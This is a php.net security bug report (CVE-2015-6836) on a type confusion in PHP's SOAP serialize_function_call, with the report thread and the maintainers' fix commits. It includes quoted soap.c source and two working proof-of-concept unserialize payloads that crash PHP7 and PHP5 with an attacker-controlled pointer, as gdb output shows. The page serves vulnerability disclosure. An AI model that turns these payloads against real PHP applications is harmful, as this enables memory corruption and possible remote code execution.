php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70388 SOAP serialize_function_call() type confusion / RCE
Submitted: 2015-08-29 12:44 UTC Modified: 2015-09-09 10:09 UTC
From: andrea dot palazzo at truel dot it Assigned: stas (profile)
Status: Closed Package: SOAP related
PHP Version: Irrelevant OS: Ubuntu x86_64
Private report: No CVE-ID: 2015-6836
 [2015-08-29 12:44 UTC] andrea dot palazzo at truel dot it
Description:
------------
A type confusion occurs within SOAP serialize_function_call due to an insufficient validation of the headers field.
In the SoapClient's __call method, the verify_soap_headers_array check is applied only to headers retrieved from zend_parse_parameters; problem is that a few lines later, soap_headers could be updated or even replaced with values from the __default_headers object fields.

soap.c

if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__default_headers", sizeof("__default_headers"), (void **) &tmp) == SUCCESS && Z_TYPE_PP(tmp) == IS_ARRAY) {
2913        HashTable *default_headers = Z_ARRVAL_P(*tmp);
2914        if (soap_headers) {
2915            if (!free_soap_headers) {
2916                HashTable *t =  emalloc(sizeof(HashTable));
2917                zend_hash_init(t, 0, NULL, ZVAL_PTR_DTOR, 0);
2918                zend_hash_copy(t, soap_headers, (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *));
2919                soap_headers = t;
2920                free_soap_headers = 1;
2921            }
2922            zend_hash_internal_pointer_reset(default_headers);
2923            while (zend_hash_get_current_data(default_headers, (void**)&tmp) == SUCCESS) {
2924                Z_ADDREF_PP(tmp);
2925                zend_hash_next_index_insert(soap_headers, tmp, sizeof(zval *), NULL);
2926                zend_hash_move_forward(default_headers);
2927            }
2928        } else {
2929            soap_headers = Z_ARRVAL_P(*tmp);
2930            free_soap_headers = 0;
2931        }

In such case, the soap_headers array is no longer assured to be holding Objects only, thus leading to a type confusion when serialize_function_call will try to access its elements through

4351    HashTable *ht = Z_OBJPROP_PP(header);


The described scenario applies to latest versions of each PHP branch; exploitation on PHP7 is much easier, since supplying a numeric zval to Z_OBJPRO_PP results is full control over the obj.handlers pointer. The same result could be achieved in PHP5 leveraging on a string length, but the exploitability would then depend on the memory layout.

Test script:
---------------
PHP7

<?php

/*
(gdb) r poc1.php
Starting program: /home/php-7/bin/php /home/poc1.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x00000000007bb150 in serialize_function_call (this_ptr=0x7ffff16151f0, function=0x0, function_name=0x7ffff1683018 "notexisting", 
    uri=0x7ffff1603e58 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff1659c00) at /home/php-7/ext/soap/soap.c:4335
4335				HashTable *ht = Z_OBJPROP_P(header);

(gdb) x/i $pc
=> 0x7bb150 <serialize_function_call+2214>:	mov    0x18(%rax),%rax

(gdb) p $rax
$63 = 1337

*/

$dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;i:1337;}}');


var_dump($dummy->notexisting());

?>

PHP5

<?php

/*
(gdb) r poc2.php
Starting program: /usr/bin/php /home/poc2.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x00000000007dac54 in serialize_function_call (this_ptr=0x7ffff7fb7868, function=0x0, function_name=0x7ffff7fba708 "notexisting", 
    uri=0x7ffff7fba9b0 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff0b72370)
    at /home/php-5.6.11/ext/soap/soap.c:4351
4351				HashTable *ht = Z_OBJPROP_PP(header);
(gdb) x/i $pc
=> 0x7dac54 <serialize_function_call+2145>:	mov    0x70(%rax),%rax
(gdb) p $rax
$4 = 1337


*/

$dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;s:1337:"'.str_repeat("X", 1337).'";}}');


var_dump($dummy->notexisting());

?>


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-09-01 19:13 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-09-01 19:13 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2015-09-02 08:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e201f01ac17243a1e5fb6a3911ed8e21b1619ac1
Log: Fix bug #70388 - SOAP serialize_function_call() type confusion
 [2015-09-03 18:10 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e201f01ac17243a1e5fb6a3911ed8e21b1619ac1
Log: Fix bug #70388 - SOAP serialize_function_call() type confusion
 [2015-09-09 10:09 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-6836
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Nov 05 22:01:28 2024 UTC